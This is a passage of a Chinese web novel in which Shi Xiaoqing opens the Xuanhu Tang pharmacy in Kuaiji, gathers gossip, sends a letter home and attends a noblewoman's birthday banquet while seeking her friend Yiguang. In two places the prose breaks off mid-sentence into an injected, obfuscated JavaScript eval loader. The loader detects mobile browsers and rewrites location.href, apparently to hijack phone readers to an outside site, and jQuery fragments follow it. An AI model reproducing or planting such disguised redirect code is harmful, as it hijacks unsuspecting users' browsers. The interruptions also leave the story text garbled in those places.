她把玉镯小心地收进包袱里，又从床底下摸出那叠桑树皮，在最新的一页上写下： “某月某日，救王宫女子（身份不详，疑为贵人），赠城南临街铺面一间。将开药铺，暂拟名为‘悬壶堂’。” 她那里有“悬壶济世”这个词。 说的是古代行医的人，在药铺门口挂一个葫芦作为标志，寓意“悬壶以济世”。 不知道这个时代有没有这个说法。 但她来会稽有一段时间了，没见着有店铺用这个名字，那她就用了吧。 她要在城南，挂起第一个葫芦。 让所有人都知道，这里有一个会治病的施姑娘，不问身份，不看银子，只救人。 这样就有人来找她，卖菜的、赶车的、跑腿的、帮佣的…… 她才能从他们嘴里，听到最真实、最细微、最不起眼却最有用的信息。 铺面的交接比施晓青预想的顺利得多。 五日后，一个穿着体面的中年人找到了李记杂货铺，自称是“夫人身边的管事”，带来了房契和一应文书。 “施姑娘，这是城南柳巷七号的铺面，临街，前后两进，后面带一个小院。房契已经转到您名下了，这是官府的认证，您收好。”中年人把一叠文书递给她。 施晓青接过，看了一眼。文书上盖着红色的官印，笔迹工整，条款清晰。 “多谢。” “夫人说了，铺子里的家具、药柜、柜台，都已经让人去置办了。姑娘若还有什么需要，尽管开口。” “已经很好了。”施晓青说，“请替我多谢夫人，改日我亲自去道谢。” 中年人走后，施晓青拿着那叠文书，坐在铺子里，看了很久。 房契。 在这个时代，这叫“红契”，是经官府认证、受法律保护的土地权属证明。 她，施晓青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486894|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一个从苎萝村来的、十五岁的村女，在会稽城，有了一间属于自己的铺子。 这不是梦。 她捏了捏自己的胳膊，疼的。 是真的。 她站起来，深吸一口气，走出杂货铺，按照那中年人说的地址，去找那间铺面。 城南柳巷，离老李的杂货铺不远，走路不到一刻钟。 巷子不算宽，但干净整洁，两边是各种小铺面——卖面的、卖布的、打铁的、修鞋的。人来人往，烟火气十足。 七号铺面在巷子的中段，位置确实不错。 施晓青站在门口，看着这间即将属于自己的铺子。 门面不大，但比老李的杂货铺宽了一倍有余。门前有两级石阶，门槛是木头的，已经有些旧了，但很结实。门板是新的，显然是刚换过的，木头的颜色还浅着，散发着淡淡的松木香。 她推开门，走进去。 铺子里面很宽敞，分前后两进。前面是铺面，靠墙已经打好了药柜，整面墙的抽屉，分门别类，每个抽屉外面都贴了空白的小木牌，等着她写上药名。中间是一张长柜台，柜台上放着算盘、戥子、药臼、药杵。 后面是一间小小的诊室，放着一张桌子和两把椅子。诊室后面连着一个小院，院子里有一口水井，墙角种着一棵枇杷树，树荫刚好遮住半个院子。再往后是一间小小的厢房，可以住人。 施晓青在铺子里转了一圈，手摸着那些新打的药柜、光滑的柜台、干净的地面，眼眶忽然有些热。 她想起苎萝村那个小小的后院，那些晾在屋檐下的草药，那些用桑树皮记下的歪歪扭扭的字。 夷光蹲在她身边，认真地看那些叶子，问“这个叫什么”“那个做什么用”。 她们在月光下并肩坐着，说那些不能说给别人听的话。 那时她以为，她一辈子都会在那个小村子里，守着一小片药圃，等一个人的消息。 可现在，她在会稽城。 有了一间自己的药铺。 离夷光，只有几道墙的距离。 她吸了吸鼻子，从怀里掏出那根麻绳带子，在手里攥了攥。 然后她转身，锁上门，回到老李的杂货铺，找来一块木板和一支炭笔，坐在铺子门口，开始写字。 “悬壶堂”三个字，她写了一遍又一遍。 她想让这三个字好看一些。 这是她的招牌。 这是她在会稽城的门面。 这也是……为了夷光…… 最后，她选了一张写的最工整的，贴在木板上，挂在铺子门口。 “悬壶堂”。 三个字，歪歪扭扭的，谈不上好看，但清清楚楚。 路过的人看了一眼，有人念出声来：“悬壶堂？这是什么？” “是个药铺。”施晓青站在门口，笑着说，“专门给城南的街坊看病的。小病小痛，都可以来找我。” “真的？贵吗？” “不富裕的，不收钱。宽裕的，随意给。” 那人看了她一眼，半信半疑地走了。 施晓青不在乎。 她知道，名声是一点一点攒出来的。 就像她的网，是一扣一扣织出来的。 不急，她有耐心，有的是时间。 当天晚上，施晓青没有回老李的杂货铺。 她住在了悬壶堂后面的小厢房里。 床是新的，被褥是新的，枕头也是新的。一切都干干净净，带着新木头和棉布的气味。 她躺在黑暗中，睁着眼，看着头顶陌生的房梁。 一切像梦一样…… 她把那根麻绳带子从怀里拿出来，放在枕头旁边。 月光从窗缝里漏进来，细细的一缕，刚好照在带子上。那些密密麻麻的绳扣，在月光下泛着柔和的光。 夷光，你知道吗？ 我有自己的药铺了。 在城南，叫悬壶堂。 以后，我会在这里给人看病，会在这里听人说话，会在这里等你。 你什么时候，才能从内城出来？ 你什么时候，才能走到这条巷子里，推开这扇门？ 她闭上眼，风从窗缝里钻进来，吹动枕边的带子，发出叹息一样的声响。 20. 消息 悬壶堂开张第三日午后，一个穿着打满补丁的短褐、怀里抱着个三四岁孩子的妇人，在门口站了很久，终于推门进来。 “施姑娘，”妇人声音怯怯的，“我家娃烧了两日了，喂了姜汤也不见好，您能不能给看看？” 施晓青放下手里的药杵，走过去，先看了看孩子的脸色，又伸手探了探额头——烫得吓人。 她仔细问了症状、饮食、大小便，又让孩子张开嘴看了舌苔，心里大概有了数。 不是风寒，是食积化热，加上春天气候多变，孩子抵抗力弱，就烧起来了。 “大嫂，别急，不碍事的。”她转身从药柜里抓了几味药，山楂、麦芽、神曲，又加了一点点连翘，用纸包好，“这个拿回去，煮水给孩子喝，一天三次，每次小半碗。这两日饮食要清淡，只喝米汤，别喂油腻的。若是明晚还不退烧，你再来找我。” 妇人接过药包，千恩万谢，从怀里摸出几个铜板，放在柜台上。 施晓青看了一眼，只拿了两个，把剩下的推回去。 “够了，这两个就够了。” “这……”妇人愣住了，“施姑娘，您这……这也太少了，我……” “大嫂，”施晓青笑了笑，“我说过，不富裕的，不收钱。你拿回去给孩子买碗米汤喝。” 妇人的眼眶红了，抱着孩子连连鞠躬，施晓青赶紧扶住她。 “别这样，以后孩子有什么不舒服，尽管来找我。” 妇人走后，施晓青站在门口，看着那瘦小的背影消失在巷子拐角，忽然想起苎萝村的阿母。 阿母也是这样，瘦瘦小小的，背微微有些驼，走路时总是低着头，像是怕打扰了谁。 她吸了吸鼻子，转身回了铺子，继续整理药柜。 前两日来的多是街坊邻居，探头探脑地看一圈，问几句，拿包薄荷叶就走了，真正坐下来让施晓青望闻问切的，一个也没有。 她也不急，坐在柜台后面慢慢地整理药柜，在每个小木牌上写上药名，字不好看，但工整，一笔一划，像是在做一件极郑重的事。 消息传得比施晓青预想的快。 第四日来了两个，第五日来了三个，到第七日，已经需要排队了。 来的都是城南的穷苦人，卖菜的、赶车的、帮佣的、浆洗的，还有几个从更远的棚户区走来的。 施晓青一一接待，仔细问诊，谨慎用药，分文不取，或者只收很少的铜板。 她的规矩简单：看得起的，随意给；看不起的，分文不取。 这个规矩在城南传开了，来的人越来越多，不只是看病的，还有来道谢的、来送东西的。 一把青菜、几个鸡蛋、一碗热汤、一块自家做的豆腐，施晓青都收了，道了谢，转身分给更需要的人。 城南渐渐有了一个说法——“悬壶堂的施姑娘，是菩萨心肠。” 施晓青听到这个说法时正在捣药，手里的药杵顿了一下，然后笑了。 菩萨心肠？她不是。 她是一个有私心的人，只是她的私心，藏得比别人的深一些。 悬壶堂开张半个月后，施晓青的生活形成了新的规律。 每日清晨，她起来先熬一锅薄荷甘草茶，放在门口的大陶罐里，旁边放几个粗陶碗，路过的人渴了可以自己舀着喝。 然后开门，整理药柜，接待陆续上门的病人。 午后，若是病人不多，她会提着药箱，去那些走不动的老人家里巡诊。 傍晚，关了铺子，点上油灯，把白天听到的消息分类整理到桑树皮上。 卖菜的陈大嫂，每次来送菜都会多说几句：“施姑娘，我今儿在菜市场听说，内城又进了几个新人，都是越国各地选上来的，长得一个比一个水灵。” 赶车的赵叔，偶尔会绕路过来喝碗茶：“施姑娘，我昨天给城东那个府上送货，看见好多马车停在门口，下来的都是穿官袍的人，也不知道在商量什么大事。” 跑腿的小六子，隔三差五来讨膏药：“施姑娘，你猜我前天看见谁了？陶朱记的那个范掌柜，就是那个很少露面的，我亲眼看见他从后门进了内城！” 施晓青把这些信息一一记下，像拼图一样，一点一点地拼凑着会稽城的全貌。 这天傍晚，她正在铺子里整理一天的记录，门被推开了。 进来的是一个二十出头的年轻女子，穿着一身素净的青衣，头发简单地绾着，脸上不施粉黛，但眉眼间自有一股清秀之气。 她手里提着一个食盒，进门便四处打量，目光里带着好奇。 “你就是施姑娘？”她问。 “我是。你是？” 女子把食盒放在柜台上，打开，里面是一碟精致的桂花糕。 “我叫素心，是夫人身边的丫鬟。夫人让我来看看你，顺便带些糕点。”她说着，目光落在那些药柜上，“这就是你的药铺？比夫人说的还小些。” “小有小的好处。”施晓青给她倒了碗茶，“夫人身体可好些了？” “好多了。” 素心接过茶，抿了一口，“夫人让我告诉你，那些朱砂丸子已经查清楚了，是有人在里面动了手脚。夫人说，多亏了你，不然……”她没有说下去，但意思已经很明显了。 施晓青点了点头，没有追问。宫里的事，知道得越少越安全。 素心喝完茶，站起来，又在铺子里转了一圈，最后停在门口，看着那块“悬壶堂”的招牌。 “施姑娘，你这招牌上的字，是谁写的？” “我写的。” 素心看了她一眼，嘴角弯了弯。“姑娘，你这字……挺有特色的。” 施晓青也笑了。“我知道，不好看。能看清就行。” 素心走后，施晓青把那碟桂花糕收好，打算明天分给来看病的孩子们。 她坐回柜台后面，继续整理那些桑树皮。 最新的那张上，她写下了今天的新收获：“内城又进新人，各地选送，容貌出众者。不知是否有夷光的消息。” 她放下炭笔，从怀里摸出那根麻绳带子。 已经很长了，她用手指量了量，从这头到那头，比她伸直双臂再向外延伸两掌还长。 她不知道还要编多久，但每编一扣，就觉得自己离夷光近了一步。 * 同一天夜里，内城教习坊。 夷光坐在窗边，手里捧着那卷吴嬷嬷发的《礼仪三百》，目光却不在书上。 窗外月色很好，照在院子里那几株桃花上，花瓣在夜风中轻轻颤动，偶尔飘落几片，落在青石板上，像一层薄薄的雪。 郑旦已经睡着了，发出均匀的呼吸声。夷光听着那呼吸声，想着自己的心事。 今天下午，她听送饭的丫鬟说，城南那个会治病的姑娘，开了自己的药铺，叫“悬壶堂”。 “悬壶堂”，她在心里默念着这三个字。 悬壶，什么意思？ 是阿青起的名字吗？ 她想起阿青教她认字时的样子，拿着树枝在地上写，一笔一划，认真得像在做一件天大的事。 “这些字，只有你我能看懂。” “若你需要传递消息，用这种字写，即便被人截获，也极难辨认。” “你要记在心里，烂在脑子里，不能写在任何地方。” 她都记着。每一个字，每一个符号，每一个笔画，都烂在脑子里了。 “夷光？你怎么还没睡？”郑旦翻了个身，迷迷糊糊地问。 “睡不着。” 郑旦揉了揉眼睛，爬起来，披着被子凑过来。 “又想家了？” 夷光没有回答，只是看着窗外的月亮。 “我跟你说，”郑旦压低声音，“我今天听见一个消息。” “什么消息？” “听说，咱们可能不用在这里待太久了。可能再过几个月，就要被送去吴国了。” 夷光的手微微一顿。 “几个月？” “嗯，好像是说，那边已经在准备了。吴王最近又提了好几次，说想见见越国的美人。”郑旦的声音低下去，“夷光，你怕不怕？” 夷光沉默了很久。 “怕。”她说，“但怕也没用。” 郑旦叹了口气，缩回被窝里。 “是啊，怕也没用。睡吧，明天还要早起练舞呢。” 夷光没有睡。 她继续坐在窗边，看着月亮，想着那些很远又很近的事。 几个月，就要被送去吴国了。 吴国，那个陌生的、遥远的、据说金碧辉煌又危机四伏的地方。 她去了那里，还能收到阿青的消息吗？阿青还能找到她吗？ 她从枕下摸出那个小小的布包，打开。 薄荷叶已经碎成了粉末，轻轻一碰就散开了，但那清苦的香气还在，淡淡的，像阿青身上的味道。 她把布包重新包好，贴在胸口。 阿青，你知道吗，我可能很快就要走了。去吴国，去一个很远很远的地方。你还能找到我吗？你还会来找我吗？ 她闭上眼，在黑暗中，无声地念着那些密码文字。那是她唯一能抓住的东西，是她和阿青之间，看不见却扯不断的线。 五日后，施晓青正在铺子里给一个老人看风湿腿，门外忽然传来一阵马车声。 她抬头一看，一辆青帷马车停在门口，车帘掀开，素心跳了下来。 “施姑娘，夫人让我来接你。”素心走进来，看了一眼那个老人，压低声音，“夫人说，有些事想当面跟你说。” 施晓青给老人包好药膏，叮嘱了几句，送他出门，然后换了身衣裳，跟着素心上车。 马车驶过城南，穿过城门，进了内城。这一次，没有停在城西的陆府，也没有停在城东那个朱红大门，而是驶向了一个施晓青从未去过的地方。 马车在一处幽静的院落前停下。院子不大，但比上次那个更精致，门前种着几株修竹，墙上爬满了青藤，风一吹，沙沙作响。 素心领着她穿过回廊，在一间书房前停下。 “夫人，施姑娘来了。” “进来。” 推开门，那个女子正坐在窗边看书。 今日她穿了一身浅绿色的衣裙，头发松松地挽着，比上次见面时气色好了许多。见施晓青进来，她放下书，笑了笑。 “施姑娘，坐。” 施晓青在她对面坐下，素心端上茶来，退了出去。 “铺子开得如何？”那女子问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486895|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “托夫人的福，还好。”施晓青说，“街坊邻居照顾，来的人渐渐多了。” 那女子点了点头，端起茶杯，轻轻吹了吹，又放下了。 “施姑娘，我今天叫你来，是有件事想跟你说。”她顿了顿，目光落在施晓青脸上，像是在斟酌措辞。 “我听说，你一直在打听内城的事。尤其是……教习坊那边的事。” 施晓青的心猛地一跳，面上却不动声色：“夫人，我只是……” “别急着解释。” 那女子抬手打断她，目光温和却不容置疑，“我没有怪你的意思。我只是想知道，你为什么对教习坊感兴趣。你是在找什么人吗？还是在打听什么事？” 施晓青沉默了片刻。 她知道，在这个女子面前，撒谎没有意义。这个女子能送她一间铺子，就能收回；能帮她，也能毁了她。 “夫人，”她抬起头，迎上那女子的目光，“我在找一个朋友。她是我从小一起长大的姐妹，几个月前被人从老家带走，送进了内城。我听说，她就在教习坊。” 那女子看着她，目光里的审视渐渐化开。“你的朋友，叫什么名字？” “施夷光。” 那女子端着茶杯的手微微一顿。 “施夷光……”她念着这个名字，像是在回忆什么，“我听说过这个名字。听说，是这批女子里最出色的一个。” 施晓青的心跳得更快了。 “夫人，您见过她？” “没有。”那女子摇摇头，“但我听说过她。范大夫对她很看重，亲自过问她的训练。” 她顿了顿，看着施晓青，“你想见她？” “想。” 施晓青没有犹豫，“夫人，我知道这不合理，也知道这不合规矩。可我……我就是想看看她，想知道她过得好不好。哪怕只是远远地看一眼，也行。” 那女子沉默了很久。窗外的风穿过竹林，发出沙沙的声响，像是谁在低声说话。 “施姑娘，”那女子终于开口，声音很轻，“你知道教习坊是什么地方吗？” “知道。” “你知道那里的女子，将来要送去哪里吗？” “知道。” “你知道，如果你被人发现与那里的女子有来往，会有什么后果吗？” “知道。” 那女子看着她，目光里的温和渐渐变成了某种复杂的、带着几分敬佩的东西。 “你什么都知道，却还是要见她？” “是。” 那女子放下茶杯，站起来，走到窗边。背对着施晓青，她沉默了很久。 “我不能让你进教习坊，”她说，“那里不是我能插手的地方。但是……” 她转过身，看着施晓青，“我可以帮你打听她的消息。她过得好不好，有没有受委屈，吃得怎么样，睡得怎么样——这些，我可以让人告诉你。” 施晓青的眼眶忽然就红了。 “夫人……” “别谢我。” 那女子走回来，重新坐下，握住她的手，“你救了我的命，这点小事，不算什么。何况……” 她笑了笑，“我也年轻过，也有过想见却见不到的人。那种滋味，我知道。” 施晓青低下头，用力眨了眨眼，把眼泪逼回去。 “夫人，您说的那个人，后来见到了吗？” 那女子的笑容淡了。 “没有。这辈子，都没有。” 屋里安静了很久。 施晓青抬起头，看着那女子的侧脸。 这位夫人帮她，不只是因为救命之恩，更是因为，她在她身上，看到了自己年轻时的影子。 “夫人，”施晓青轻声说，“我会见到的。我一定会。” 那女子转过头，看着她，目光里有些湿润。 “好，”她说，“那就好。” 从内城出来，施晓青坐在马车里，看着窗外掠过的街景，心里翻涌着说不清的情绪。 她有了一个盟友，一个住在内城、身份不低、愿意帮她打听消息的盟友。 这个盟友，比十个货郎、二十个赶车的、一百个跑腿的都管用。可她心里并不全是高兴，还有酸，还有涩，还有说不清的、沉甸甸的东西。 那女子说，她也有过想见却见不到的人，这辈子，都没有再见到。 施晓青闭上眼，靠在车壁上。 夷光，我不会让那样的事发生在我们身上。 我一定要再见到你。 一定。 马车在悬壶堂门口停下。 施晓青跳下车，推开门，走进铺子。 一切照旧，药柜、柜台、药杵、药臼，还有那股淡淡的、清苦的草药香。 她站在柜台后面，看着那些熟悉的一切，忽然觉得，这间小小的药铺，不只是她的立足之地，也是她为夷光点亮的那盏灯。 她拿起炭笔，在桑树皮上写下今天的新收获： “夫人愿帮忙打听夷光消息。内城盟友，加一。” 她放下炭笔，看着窗外渐渐暗下来的天。 会稽城的春天，夜晚还是有些凉，风吹过巷子，带着不知名的花香。 …… …… 21. 家书 悬壶堂开张满一个月的那天，施晓青收到了一封信。 信是翠儿托人捎来的。 一个从诸暨来的货郎，在城南卸货时听说“悬壶堂的施姑娘”，便拐进来问了一句，把一卷皱巴巴的树皮递给她。 “苎萝村一个姑娘让带给你的，说姓翠。” 施晓青接过那卷树皮，手指微微发颤。 树皮上歪歪扭扭地画着一行字，翠儿不识字，只是照葫芦画瓢地把施晓青临走前留给她的那个“模板”描了一遍。 施晓青看了好一会儿才认出来：“阿青，我们都好，你别担心。你阿母想你，哭了。我也想你。” 就这么几个字，施晓青看到眼眶发酸，看到视线模糊。她把树皮收好，收进怀里，贴着那根麻绳带子。 “她还说了什么？”她问货郎。 货郎想了想：“那位姑娘说，让你有空写封信回去，别让你阿母惦记。还说，家里都挺好的，就是……就是大家都挺想你的。” 施晓青点了点头，从柜台里拿出几个铜板递过去，货郎摆手不要，她硬塞到他手里：“拿着，辛苦你跑这一趟。” 货郎走后，施晓青坐在柜台后面，发了好一会儿呆。 来会稽城快两个月了。 刚来的时候忙着落脚，忙着开铺子，忙着给人看病，忙着打听夷光的消息。 每天都排得满满的，满到没有时间去想苎萝村，没有时间去想阿母。 可此刻，那卷皱巴巴的树皮像一把钥匙，打开了她心里那扇一直关着的门。 阿母。 临走那天，阿母站在院门口，眼圈红红的，忍着没哭。 阿母哑着嗓子说：“你到了那边，记得写信回来。” “你呀，总是惦记别人，就不惦记惦记自己，”那语气，又心疼又无奈。 阿母不识字。 她写给阿母的信，阿母也看不懂。 可翠儿会念给她听。 翠儿会把信上的每一个字，翻来覆去地念，直到阿母说：“好了好了，我知道了。” 过一会儿又问：“她刚才说啥？再说一遍”。 施晓青吸了吸鼻子，从柜台下面翻出一张干净的树皮，拿起炭笔，开始写信。 “阿母，我在会稽城很好，开了间药铺，叫悬壶堂。不大，但够用了。城南的街坊邻居都很照顾我，来看病的人也渐渐多了。您别担心我，我吃得好，穿得暖，睡得也踏实。您要照顾好自己，那些药按时用，别舍不得。翠儿来帮忙读信的时候，您让她慢慢念，别着急。等我攒够了钱，就回去看您。” 写完之后，她看了一遍，又看了一遍。字还是不好看，但工整，一笔一划，像在做一件极郑重的事。 她把树皮折好，又从柜台里拿出几个铜板、一小包晒干的薄荷叶、一小罐自己熬的桂花蜜，用粗布包成一个包袱。 薄荷叶是给阿母泡水喝的，桂花蜜是给阿母抹饼子的。都不是什么值钱的东西，但都是她亲手做的，带着她的手心和会稽城的味道。 她打算明天去找那个货郎，托他带回去。 夜里，施晓青躺在小厢房的床上，翻来覆去睡不着。 窗外月色很好，照在枇杷树的叶子上，泛着银白色的光。 她睁着眼，无心睡觉。 苎萝村现在是什么样子呢？ 春天应该快过完了，溪边的水应该暖了一些，那些野薄荷应该长得很高了。 阿母应该每天还是早早起来，喂鸡、烧水、做饭，然后坐在院门口择菜，看着那条村路发呆。 翠儿应该还是隔三差五地来串门，跟阿母说说话，帮忙挑挑水，然后趴在桌上，让阿母念她的信。 施晓青的眼泪从眼角滑到枕头上。 她很少哭。 从穿越到这个世界的第一天起，她就告诉自己，不能哭，哭没有用，哭解决不了任何问题。 可此刻，在这个安静的、只有月光和枇杷树的夜里，她忽然很想哭。 那个在苎萝村的小院子里，一个人坐在灶房门口，看着一锅粥发呆的女人。那个女儿走了快两个月，只收到过一封报平安的口信的女人。那个嘴上说“你在外面好好的就行”，心里却每天都在盼着她回去的女人。 施晓青把被子拉过来，蒙住头，无声地哭了一场。 哭完之后，她坐起来，擦了擦脸，从枕头底下摸出那根麻绳带子。带子又长了一些。她用手指量了量，从这头到那头，已经比她伸直双臂再向外延伸四掌还长了。 她不知道这根带子要编到多长。也许要编到夷光从内城出来的那天，也许要编到她们重逢的那天，也许要编到永远。但没关系，她有耐心，她有的是时间。 她把带子折好，重新收进怀里，闭上眼。 明天，还要早起熬薄荷茶。还要接待来看病的人。还要打听内城的消息。还要给阿母寄东西。 她不能停。 * 五日后，苎萝村。 翠儿从镇上回来，手里攥着一个粗布包袱，几乎是跑着冲进施晓青家的院门。 “婶子！婶子！阿青来信了！还带了东西！” 阿母正在灶房里烧火，听到声音，手里的柴火掉在地上。 她站起来，擦了擦手，走到门口，看见翠儿气喘吁吁地举着那个包袱，眼睛一下子就红了。 “她……她说了什么？” 翠儿拉着阿母坐到院里的石墩上，打开包袱。里面是一张叠得整整齐齐的树皮、一小包薄荷叶、一小罐桂花蜜，还有几个铜板。 翠儿拿起树皮，展开，清了清嗓子，一个字一个字地念：“阿母，我在会稽城很好，开了间药铺，叫悬壶堂……” 她念得很慢，很认真，每一个字都念得很清楚。阿母听着，眼泪一滴一滴地掉下来，落在衣襟上，落在手背上，落在那个粗布包袱上。 “她……她开了药铺？”阿母的声音发颤。 “嗯，开了药铺。”翠儿把信念完，又从头念了一遍。念完之后，她把树皮递给阿母。“婶子，您收好。” 阿母接过树皮，手指摩挲着那些歪歪扭扭的字，像是在摸女儿的脸。 “她瘦了没有？”她问。 翠儿愣了一下：“信上没说。” “她肯定瘦了。” 阿母的眼泪又掉下来，“那孩子，从小就不知道照顾自己。给别人看病倒是上心，自己的事从来不上心。她在那边，有没有人给她做饭？有没有人给她洗衣裳？有没有人……” “婶子，”翠儿握住她的手，“阿青说她很好。她说吃得好，穿得暖，睡得也踏实。您别担心她。她把薄荷叶和桂花蜜都寄回来了，说明她心里惦记着您呢。” 阿母点了点头，把树皮贴在胸口，像抱着一个孩子。 那天晚上，阿母没有做饭。 她坐在灶房门口，把那封信看了又看。 虽然她一个字也不认识，但她就那么看着，看着那些歪歪扭扭的笔画，像是能从中看出女儿的脸，看出女儿的笑，看出女儿在会稽城的日子。 翠儿陪她坐到很晚，直到月亮升到头顶，才起身回家。临走前，她把那罐桂花蜜打开，抹了一块饼子递给阿母。 “婶子，尝尝。阿青做的。” 阿母接过饼子，咬了一口，眼泪又掉了下来。 甜，很甜。甜得让人想哭。 第二天一早，翠儿又来了。 她帮阿母挑了水，扫了院子，喂了鸡，然后把那包薄荷叶拿出来，给阿母泡了一碗水。 “婶子，阿青说这个泡水喝，对身体好。” 阿母接过碗，低头看着碗里浮浮沉沉的薄荷叶，喝了一口，清清凉凉的，一直凉到心里。 “翠儿，”阿母忽然说，“你说，阿青在 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“夫人说，施夷光一切都好，训练很刻苦，吴嬷嬷夸她有天分。” “夫人说，施夷光最近在学一种新的舞蹈，学得很快，比其他人快了一大截。” “夫人说，施夷光好像瘦了一些，但精神还好，不用担心。” 每一条消息，施晓青都仔仔细细地记在桑树皮上。 她把那些零散的信息拼在一起，在心里勾勒出夷光在内城的样子—— 刻苦的、聪明的、坚韧的、不放弃的。 那就是夷光。无论在苎萝村，还是在会稽城，她都是那个样子。永远在努力，永远不认输。 这天下午，施晓青正在铺子里给一个孩子看咳嗽，素心又来了。 这一次，她带了一张帖子：“夫人说，后日是她生辰，想请你去府上坐坐，吃顿饭。” 施晓青接过帖子，看了一眼：“夫人太客气了，我会去的。” 素心走后，施晓青站在门口，看着巷子里来来往往的行人。 夫人的生辰，去府上吃饭。这是一次进入夫人社交圈的机会。夫人请的人，应该都是有头有脸的。那些人的言谈举止、人情往来、甚至无意中透露的信息，都可能成为她拼图的一部分。 她需要准备一份礼物，她想了想，回到后院，从药柜里拿出几样东西—— 干玫瑰花、干桂花、干菊花、干薄荷，还有一小罐蜂蜜。她把玫瑰、桂花、菊花、薄荷按比例配好，加入蜂蜜，用手揉搓，然后放在陶罐里密封。 这是她自制的“四花蜜茶”。冲泡之后，花香四溢，清甜可口，最适合女子饮用。 不是值钱的东西，但胜在用心，胜在独一无二。 她又在陶罐外面贴了一张小纸条，上面写着“四花蜜茶”四个字，和冲泡的方法。 然后把陶罐用粗布包好，放在柜台下面，等着后日带去。 夜里，施晓青躺在小厢房的床上，手里攥着那根麻绳带子。 带子又长了一些。她用手指量了量，从这头到那头，已经比她伸直双臂再向外延伸五掌长了。 她想起阿母了，那时阿母站在院门口，眼圈红红的，忍着没哭的样子。想起翠儿趴在桌上，照着“模板”描字的样子。想起苎萝村的春天，溪边的野薄荷，后院的药圃，还有那些月光下的夜晚。 她想家了，想念那些简单的人、简单的事、简单的日子。 可她不能回去，至少现在不能。 夷光还在内城，她的任务还没有完成。 她不能回去。 她把带子贴在胸口，闭上眼。 阿母，等我。等我把这边的事办完，我就回去看你。 我会和夷光一起回去。 我答应你。 22. 生辰宴 天色未亮，施晓青便起了。 她将前日备好的那罐四花蜜茶又检查了一遍，确认封口严实，才用粗布仔细裹好，放进一个旧竹篮里。 又换了一身干净的衣裳，一套不大不小、不新不旧、不引人注目但也绝不失礼的靛蓝色衣裙。 她对着铜镜照了照，将头发重新绾过，用那根木簪固定。 铜镜模糊，只能照出大概轮廓，不需要好看，她只需要得体。 素心的马车准时停在悬壶堂门口。 施晓青提着竹篮上了车，马车穿过城南，穿过城门，驶入内城。 马车在一处宅院前停下。 宅院比上回那个更大，门前蹲着两只石狮，门楣上挂着一块匾额，写着“兰苑”二字。字迹清秀，像是女子手笔。 施晓青下了车，跟着素心穿过前院、中院，绕过一道雕花月洞门，眼前豁然开朗。那是一片不大的花园，园中种满了各色兰花，春兰、蕙兰、建兰，有的已经开了，有的还只是花苞。 花香淡淡，混着雨后泥土的湿润气息，沁人心脾。 花园尽头是一间水榭，半架在池塘上。 池中锦鲤悠闲地游动，偶尔跃出水面，溅起细碎的水花。 水榭里已经坐了几个人，都是女子，年纪不一，衣饰各异，但气度都不俗。 夫人坐在主位，今日穿了一身藕荷色的衣裙，发髻上插着一支碧玉簪，衬得她整个人温婉如水。 见施晓青进来，她笑着招手：“施姑娘，来，坐这边。” 施晓青走过去，将竹篮放在桌边，行了一礼。 “夫人，生辰吉乐。这是民女自己做的四花蜜茶，不值什么钱，望夫人不要嫌弃。” 夫人接过竹篮，打开，看见那个陶罐和罐上贴的小纸条，笑了。 “四花蜜茶？这名字倒是有趣。是你自己起的？” “是。” “玫瑰花、桂花、菊花、薄荷，加蜂蜜？”夫人念着纸条上的字，“这搭配，倒是头一回听说。” “夫人试试，若不喜欢，放着便是。” 夫人将那罐茶递给身边的丫鬟，让她去冲泡。然后拉着施晓青坐下，给她介绍在座的几位女子。 “这位是李夫人，王宫里的女史。”一位三十出头、面容端庄的女子微微颔首。 “这位是王夫人，城东织坊的东家。”一位四十来岁、眉眼精明的女子笑着点了点头。 “这位是张娘子，范大夫府上的管事。”一位三十五六、气质干练的女子看了施晓青一眼，目光里带着几分审视。 施晓青一一见礼，不卑不亢。 这些人，每一个都有她的用处。 女史管着王宫里的文书，织坊东家掌握着城东的商脉，范大夫府上的管事是离范蠡最近的人。 茶过三巡，丫鬟端上了那壶四花蜜茶。 夫人亲自斟了一杯，举到鼻端闻了闻，眉眼舒展。 “好香。” 她抿了一口，眼睛亮了起来，“清甜，不腻，还有一股淡淡的薄荷凉意。施姑娘，你这茶，是怎么想到的？” “小时候常喝薄荷茶，后来到了会稽，见城里有卖花茶的，便试着把几种花配在一起。”施晓青说，“试了好多次，才定了这个方子。” “倒是心灵手巧。”李夫人也斟了一杯，品了品，“这茶若是拿到市面上卖，怕是能卖个好价钱。” 施晓青笑了笑，她不需要卖茶，她需要的是这些人的信任。 宴席设在花园里，菜品不算多，但精致。 清蒸鲈鱼、桂花藕粉、荷叶糯米鸡、几碟时令小菜，还有一碗热气腾腾的笋汤。 施晓青吃得不多，更多时候在听。 李夫人说着王宫里的琐事：哪个妃子又得了新衣裳，哪个太监被罚了俸禄，哪个地方进贡了一批上好的丝绸。 王夫人说：“今年蚕丝收成不好，价格涨了三成，订货的人却多了，忙不过来。” 张娘子说：“范大夫最近很忙，经常不在府里，好像是去了边境。” 宴席散时，日头已经西斜。 夫人留施晓青单独说话。 两人坐在水榭里，丫鬟上了新茶，退了出去。夫人端着茶杯，看着池中游动的锦鲤，沉默了一会儿。 “施姑娘，”她开口，“你那个朋友的消息，我让人打听到了。” 施晓青的手微微一顿：“夫人请说。” 